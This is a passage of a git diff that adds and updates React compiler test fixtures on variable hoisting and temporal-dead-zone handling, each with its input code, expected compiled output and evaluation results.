+(kind: ok) <div>{"shouldInvokeFns":true,"callback":{"kind":"Function","result":null}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-functionexpr-conditional-dep.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-functionexpr-conditional-dep.tsx
new file mode 100644
index 000000000000..0293779f7310
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-functionexpr-conditional-dep.tsx
@@ -0,0 +1,30 @@
+import {Stringify} from 'shared-runtime';
+
+/**
+ * We currently hoist the accessed properties of function expressions,
+ * regardless of control flow. This is simply because we wrote support for
+ * function expressions before doing a lot of work in PropagateScopeDeps
+ * to handle conditionally accessed dependencies.
+ *
+ * Current evaluator error:
+ *  Found differences in evaluator results
+ *  Non-forget (expected):
+ *  (kind: ok) <div>{"shouldInvokeFns":true,"callback":{"kind":"Function","result":null}}</div>
+ *  Forget:
+ *  (kind: exception) Cannot read properties of null (reading 'prop')
+ */
+function Component({obj, isObjNull}) {
+  const callback = () => {
+    if (!isObjNull) {
+      return obj.prop;
+    } else {
+      return null;
+    }
+  };
+  return <Stringify shouldInvokeFns={true} callback={callback} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{obj: null, isObjNull: true}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-invalid-tdz-let.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-invalid-tdz-let.expect.md
new file mode 100644
index 000000000000..4951aaa9f301
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-invalid-tdz-let.expect.md
@@ -0,0 +1,58 @@
+
+## Input
+
+```javascript
+function Foo() {
+  const getX = () => x;
+  console.log(getX());
+
+  let x = 4;
+  x += 5;
+
+  return <Stringify getX={getX} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Foo() {
+  const $ = _c(2);
+  let getX;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    getX = () => x;
+    console.log(getX());
+
+    let x = 4;
+    x = x + 5;
+    $[0] = getX;
+  } else {
+    getX = $[0];
+  }
+  x;
+  let t0;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = <Stringify getX={getX} shouldInvokeFns={true} />;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: exception) Cannot access 'x' before initialization
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-invalid-tdz-let.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-invalid-tdz-let.js
new file mode 100644
index 000000000000..4097ee37970c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-invalid-tdz-let.js
@@ -0,0 +1,14 @@
+function Foo() {
+  const getX = () => x;
+  console.log(getX());
+
+  let x = 4;
+  x += 5;
+
+  return <Stringify getX={getX} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-let-declaration-without-initialization.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-let-declaration-without-initialization.expect.md
new file mode 100644
index 000000000000..a67bd73fa828
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-let-declaration-without-initialization.expect.md
@@ -0,0 +1,62 @@
+
+## Input
+
+```javascript
+import {CONST_NUMBER1, Stringify} from 'shared-runtime';
+
+function useHook({cond}) {
+  'use memo';
+  const getX = () => x;
+
+  let x;
+  if (cond) {
+    x = CONST_NUMBER1;
+  }
+  return <Stringify getX={getX} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: () => {},
+  params: [{cond: true}],
+  sequentialRenders: [{cond: true}, {cond: true}, {cond: false}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { CONST_NUMBER1, Stringify } from "shared-runtime";
+
+function useHook(t0) {
+  "use memo";
+  const $ = _c(2);
+  const { cond } = t0;
+  let t1;
+  if ($[0] !== cond) {
+    const getX = () => x;
+    let x;
+    if (cond) {
+      x = CONST_NUMBER1;
+    }
+    t1 = <Stringify getX={getX} shouldInvokeFns={true} />;
+    $[0] = cond;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: () => {},
+  params: [{ cond: true }],
+  sequentialRenders: [{ cond: true }, { cond: true }, { cond: false }],
+};
+
+```
+      
+### Eval output
+(kind: ok) 
+
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-let-declaration-without-initialization.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-let-declaration-without-initialization.js
new file mode 100644
index 000000000000..cc4131951564
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-let-declaration-without-initialization.js
@@ -0,0 +1,18 @@
+import {CONST_NUMBER1, Stringify} from 'shared-runtime';
+
+function useHook({cond}) {
+  'use memo';
+  const getX = () => x;
+
+  let x;
+  if (cond) {
+    x = CONST_NUMBER1;
+  }
+  return <Stringify getX={getX} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: () => {},
+  params: [{cond: true}],
+  sequentialRenders: [{cond: true}, {cond: true}, {cond: false}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-member-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-member-expression.expect.md
index 54c3cf3a2429..441dab588140 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-member-expression.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-member-expression.expect.md
@@ -2,13 +2,13 @@
 ## Input
 
 ```javascript
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
 function hoisting() {
   function onClick(x) {
     return x + bar.baz;
   }
-  const bar = { baz: 1 };
+  const bar = {baz: 1};
 
   return <Stringify onClick={onClick} />;
 }
@@ -34,9 +34,7 @@ function hoisting() {
     const onClick = function onClick(x) {
       return x + bar.baz;
     };
-
     const bar = { baz: 1 };
-
     t0 = <Stringify onClick={onClick} />;
     $[0] = t0;
   } else {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-member-expression.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-member-expression.js
index a8cd5d4b64b2..30fdc90a3f5e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-member-expression.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-member-expression.js
@@ -1,10 +1,10 @@
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
 function hoisting() {
   function onClick(x) {
     return x + bar.baz;
   }
-  const bar = { baz: 1 };
+  const bar = {baz: 1};
 
   return <Stringify onClick={onClick} />;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-block-statements.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-block-statements.expect.md
index 7cbe31779432..fd62da1e4e16 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-block-statements.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-block-statements.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { print } from "shared-runtime";
+import {print} from 'shared-runtime';
 
 function hoisting(cond) {
   if (cond) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-block-statements.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-block-statements.js
index b3205b612c19..66480a62de90 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-block-statements.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-block-statements.js
@@ -1,4 +1,4 @@
-import { print } from "shared-runtime";
+import {print} from 'shared-runtime';
 
 function hoisting(cond) {
   if (cond) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-const-declaration-2.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-const-declaration-2.expect.md
index 0f377081bf8b..b586131445f9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-const-declaration-2.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-const-declaration-2.expect.md
@@ -36,7 +36,7 @@ function hoisting(cond) {
         items.push(bar());
       };
 
-      const bar = () => true;
+      const bar = _temp;
       foo();
     }
     $[0] = cond;
@@ -44,8 +44,12 @@ function hoisting(cond) {
   } else {
     items = $[1];
   }
+
   return items;
 }
+function _temp() {
+  return true;
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: hoisting,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-const-declaration.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-const-declaration.expect.md
index 301ca4e8a5fd..2b661a58b426 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-const-declaration.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-const-declaration.expect.md
@@ -36,13 +36,10 @@ function hoisting() {
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     const qux = () => {
       let result;
-
       result = foo();
       return result;
     };
-
     const foo = () => bar + baz;
-
     const bar = 3;
     const baz = 2;
     t0 = qux();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-let-declaration-2.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-let-declaration-2.expect.md
new file mode 100644
index 000000000000..ec9c72984082
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-let-declaration-2.expect.md
@@ -0,0 +1,63 @@
+
+## Input
+
+```javascript
+function hoisting(cond) {
+  let items = [];
+  if (cond) {
+    let foo = () => {
+      items.push(bar());
+    };
+    let bar = () => true;
+    foo();
+  }
+  return items;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: hoisting,
+  params: [true],
+  isComponent: false,
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function hoisting(cond) {
+  const $ = _c(2);
+  let items;
+  if ($[0] !== cond) {
+    items = [];
+    if (cond) {
+      const foo = () => {
+        items.push(bar());
+      };
+
+      let bar = _temp;
+      foo();
+    }
+    $[0] = cond;
+    $[1] = items;
+  } else {
+    items = $[1];
+  }
+
+  return items;
+}
+function _temp() {
+  return true;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: hoisting,
+  params: [true],
+  isComponent: false,
+};
+
+```
+      
+### Eval output
+(kind: ok) [true]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-let-declaration-2.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-let-declaration-2.js
new file mode 100644
index 000000000000..27b8a8fff601
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-let-declaration-2.js
@@ -0,0 +1,17 @@
+function hoisting(cond) {
+  let items = [];
+  if (cond) {
+    let foo = () => {
+      items.push(bar());
+    };
+    let bar = () => true;
+    foo();
+  }
+  return items;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: hoisting,
+  params: [true],
+  isComponent: false,
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-let-declaration.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-let-declaration.expect.md
new file mode 100644
index 000000000000..cd2a9d32538f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-let-declaration.expect.md
@@ -0,0 +1,62 @@
+
+## Input
+
+```javascript
+function hoisting() {
+  let qux = () => {
+    let result;
+    {
+      result = foo();
+    }
+    return result;
+  };
+  let foo = () => {
+    return bar + baz;
+  };
+  let bar = 3;
+  const baz = 2;
+  return qux(); // OK: called outside of TDZ
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: hoisting,
+  params: [],
+  isComponent: false,
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function hoisting() {
+  const $ = _c(1);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    const qux = () => {
+      let result;
+      result = foo();
+      return result;
+    };
+    let foo = () => bar + baz;
+    let bar = 3;
+    const baz = 2;
+    t0 = qux();
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: hoisting,
+  params: [],
+  isComponent: false,
+};
+
+```
+      
+### Eval output
+(kind: ok) 5
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-let-declaration.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-let-declaration.js
new file mode 100644
index 000000000000..c4c8f2aa4c29
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-let-declaration.js
@@ -0,0 +1,21 @@
+function hoisting() {
+  let qux = () => {
+    let result;
+    {
+      result = foo();
+    }
+    return result;
+  };
+  let foo = () => {
+    return bar + baz;
+  };
+  let bar = 3;
+  const baz = 2;
+  return qux(); // OK: called outside of TDZ
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: hoisting,
+  params: [],
+  isComponent: false,
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-object-method.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-object-method.expect.md
index 1f32d4c565de..bc7c402b941c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-object-method.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-object-method.expect.md
@@ -35,9 +35,7 @@ function hoisting() {
         return bar();
       },
     };
-
-    const bar = () => 1;
-
+    const bar = _temp;
     t0 = x.foo();
     $[0] = t0;
   } else {
@@ -45,6 +43,9 @@ function hoisting() {
   }
   return t0;
 }
+function _temp() {
+  return 1;
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: hoisting,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-reassigned-let-declaration.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-reassigned-let-declaration.expect.md
new file mode 100644
index 000000000000..f393597719d0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-reassigned-let-declaration.expect.md
@@ -0,0 +1,64 @@
+
+## Input
+
+```javascript
+import {CONST_NUMBER0, CONST_NUMBER1, Stringify} from 'shared-runtime';
+
+function useHook({cond}) {
+  'use memo';
+  const getX = () => x;
+
+  let x = CONST_NUMBER0;
+  if (cond) {
+    x += CONST_NUMBER1;
+  }
+  return <Stringify getX={getX} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{cond: true}],
+  sequentialRenders: [{cond: true}, {cond: true}, {cond: false}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { CONST_NUMBER0, CONST_NUMBER1, Stringify } from "shared-runtime";
+
+function useHook(t0) {
+  "use memo";
+  const $ = _c(2);
+  const { cond } = t0;
+  let t1;
+  if ($[0] !== cond) {
+    const getX = () => x;
+    let x = CONST_NUMBER0;
+    if (cond) {
+      x = x + CONST_NUMBER1;
+      x;
+    }
+    t1 = <Stringify getX={getX} shouldInvokeFns={true} />;
+    $[0] = cond;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{ cond: true }],
+  sequentialRenders: [{ cond: true }, { cond: true }, { cond: false }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"getX":{"kind":"Function","result":1},"shouldInvokeFns":true}</div>
+<div>{"getX":{"kind":"Function","result":1},"shouldInvokeFns":true}</div>
+<div>{"getX":{"kind":"Function","result":0},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-reassigned-let-declaration.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-reassigned-let-declaration.js
new file mode 100644
index 000000000000..e8d55039befb
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-reassigned-let-declaration.js
@@ -0,0 +1,18 @@
+import {CONST_NUMBER0, CONST_NUMBER1, Stringify} from 'shared-runtime';
+
+function useHook({cond}) {
+  'use memo';
+  const getX = () => x;
+
+  let x = CONST_NUMBER0;
+  if (cond) {
+    x += CONST_NUMBER1;
+  }
+  return <Stringify getX={getX} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{cond: true}],
+  sequentialRenders: [{cond: true}, {cond: true}, {cond: false}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-reassigned-twice-let-declaration.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-reassigned-twice-let-declaration.expect.md
new file mode 100644
index 000000000000..7d6461e3a9fb
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-reassigned-twice-let-declaration.expect.md
@@ -0,0 +1,66 @@
+
+## Input
+
+```javascript
+import {CONST_NUMBER0, CONST_NUMBER1, Stringify} from 'shared-runtime';
+
+function useHook({cond}) {
+  'use memo';
+  const getX = () => x;
+
+  let x = CONST_NUMBER0;
+  if (cond) {
+    x += CONST_NUMBER1;
+    x = Math.min(x, 100);
+  }
+  return <Stringify getX={getX} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{cond: true}],
+  sequentialRenders: [{cond: true}, {cond: true}, {cond: false}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { CONST_NUMBER0, CONST_NUMBER1, Stringify } from "shared-runtime";
+
+function useHook(t0) {
+  "use memo";
+  const $ = _c(2);
+  const { cond } = t0;
+  let t1;
+  if ($[0] !== cond) {
+    const getX = () => x;
+    let x = CONST_NUMBER0;
+    if (cond) {
+      x = x + CONST_NUMBER1;
+      x;
+      x = Math.min(x, 100);
+    }
+    t1 = <Stringify getX={getX} shouldInvokeFns={true} />;
+    $[0] = cond;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{ cond: true }],
+  sequentialRenders: [{ cond: true }, { cond: true }, { cond: false }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"getX":{"kind":"Function","result":1},"shouldInvokeFns":true}</div>
+<div>{"getX":{"kind":"Function","result":1},"shouldInvokeFns":true}</div>
+<div>{"getX":{"kind":"Function","result":0},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-reassigned-twice-let-declaration.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-reassigned-twice-let-declaration.js
new file mode 100644
index 000000000000..2c2b8187effa
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-reassigned-twice-let-declaration.js
@@ -0,0 +1,19 @@
+import {CONST_NUMBER0, CONST_NUMBER1, Stringify} from 'shared-runtime';
+
+function useHook({cond}) {
+  'use memo';
+  const getX = () => x;
+
+  let x = CONST_NUMBER0;
+  if (cond) {
+    x += CONST_NUMBER1;
+    x = Math.min(x, 100);
+  }
+  return <Stringify getX={getX} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{cond: true}],
+  sequentialRenders: [{cond: true}, {cond: true}, {cond: false}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-recursive-call-within-lambda.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-recursive-call-within-lambda.expect.md
index a7cf6bcc1e96..7d5a6112ed7c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-recursive-call-within-lambda.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-recursive-call-within-lambda.expect.md
@@ -3,8 +3,8 @@
 
 ```javascript
 function Foo({}) {
-  const outer = (val) => {
-    const fact = (x) => {
+  const outer = val => {
+    const fact = x => {
       if (x <= 0) {
         return 1;
       }
@@ -28,18 +28,9 @@ export const FIXTURE_ENTRYPOINT = {
 import { c as _c } from "react/compiler-runtime";
 function Foo(t0) {
   const $ = _c(1);
+  const outer = _temp;
   let t1;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    const outer = (val) => {
-      const fact = (x) => {
-        if (x <= 0) {
-          return 1;
-        }
-        return x * fact(x - 1);
-      };
-      return fact(val);
-    };
-
     t1 = outer(3);
     $[0] = t1;
   } else {
@@ -47,6 +38,15 @@ function Foo(t0) {
   }
   return t1;
 }
+function _temp(val) {
+  const fact = (x) => {
+    if (x <= 0) {
+      return 1;
+    }
+    return x * fact(x - 1);
+  };
+  return fact(val);
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-recursive-call-within-lambda.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-recursive-call-within-lambda.js
index 901d92376d16..f3cd8932c763 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-recursive-call-within-lambda.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-recursive-call-within-lambda.js
@@ -1,6 +1,6 @@
 function Foo({}) {
-  const outer = (val) => {
-    const fact = (x) => {
+  const outer = val => {
+    const fact = x => {
       if (x <= 0) {
         return 1;
       }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-recursive-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-recursive-call.expect.md
index 072a94aa4586..61fbfc5efec5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-recursive-call.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-recursive-call.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-function Foo({ value }: { value: number }) {
+function Foo({value}: {value: number}) {
   const factorial = (x: number) => {
     if (x <= 1) {
       return 1;
@@ -16,7 +16,7 @@ function Foo({ value }: { value: number }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: [{ value: 3 }],
+  params: [{value: 3}],
 };
 
 ```
@@ -37,7 +37,6 @@ function Foo(t0) {
         return x * factorial(x - 1);
       }
     };
-
     t1 = factorial(value);
     $[0] = value;
     $[1] = t1;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-recursive-call.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-recursive-call.ts
index 6e5faa745db9..21d693ac25d0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-recursive-call.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-recursive-call.ts
@@ -1,4 +1,4 @@
-function Foo({ value }: { value: number }) {
+function Foo({value}: {value: number}) {
   const factorial = (x: number) => {
     if (x <= 1) {
       return 1;
@@ -12,5 +12,5 @@ function Foo({ value }: { value: number }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: [{ value: 3 }],
+  params: [{value: 3}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-repro-variable-used-in-assignment.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-repro-variable-used-in-assignment.expect.md
index 2389c7e9763e..a4775bc45bea 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-repro-variable-used-in-assignment.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-repro-variable-used-in-assignment.expect.md
@@ -30,7 +30,6 @@ function get2() {
       const copy = x;
       return copy;
     };
-
     const x = 2;
     t0 = callbk();
     $[0] = t0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-setstate-captured-indirectly-jsx.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-setstate-captured-indirectly-jsx.expect.md
new file mode 100644
index 000000000000..9397518d2d11
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-setstate-captured-indirectly-jsx.expect.md
@@ -0,0 +1,73 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees
+function useFoo() {
+  const onClick = response => {
+    setState(DISABLED_FORM);
+  };
+
+  const [state, setState] = useState();
+  const handleLogout = useCallback(() => {
+    setState(DISABLED_FORM);
+  }, [setState]);
+  const getComponent = () => {
+    return <ColumnItem onPress={() => handleLogout()} />;
+  };
+
+  // this `getComponent` call should not be inferred as mutating setState
+  return [getComponent(), onClick]; // pass onClick to avoid dce
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees
+function useFoo() {
+  const $ = _c(7);
+  const onClick = (response) => {
+    setState(DISABLED_FORM);
+  };
+
+  const [, t0] = useState();
+  const setState = t0;
+  let t1;
+  if ($[0] !== setState) {
+    t1 = () => {
+      setState(DISABLED_FORM);
+    };
+    $[0] = setState;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  setState;
+  const handleLogout = t1;
+  let t2;
+  if ($[2] !== handleLogout) {
+    const getComponent = () => <ColumnItem onPress={() => handleLogout()} />;
+    t2 = getComponent();
+    $[2] = handleLogout;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  let t3;
+  if ($[4] !== onClick || $[5] !== t2) {
+    t3 = [t2, onClick];
+    $[4] = onClick;
+    $[5] = t2;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  return t3;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-setstate-captured-indirectly-jsx.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-setstate-captured-indirectly-jsx.js
new file mode 100644
index 000000000000..4a44679390a8
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-setstate-captured-indirectly-jsx.js
@@ -0,0 +1,17 @@
+// @validatePreserveExistingMemoizationGuarantees
+function useFoo() {
+  const onClick = response => {
+    setState(DISABLED_FORM);
+  };
+
+  const [state, setState] = useState();
+  const handleLogout = useCallback(() => {
+    setState(DISABLED_FORM);
+  }, [setState]);
+  const getComponent = () => {
+    return <ColumnItem onPress={() => handleLogout()} />;
+  };
+
+  // this `getComponent` call should not be inferred as mutating setState
+  return [getComponent(), onClick]; // pass onClick to avoid dce
+}
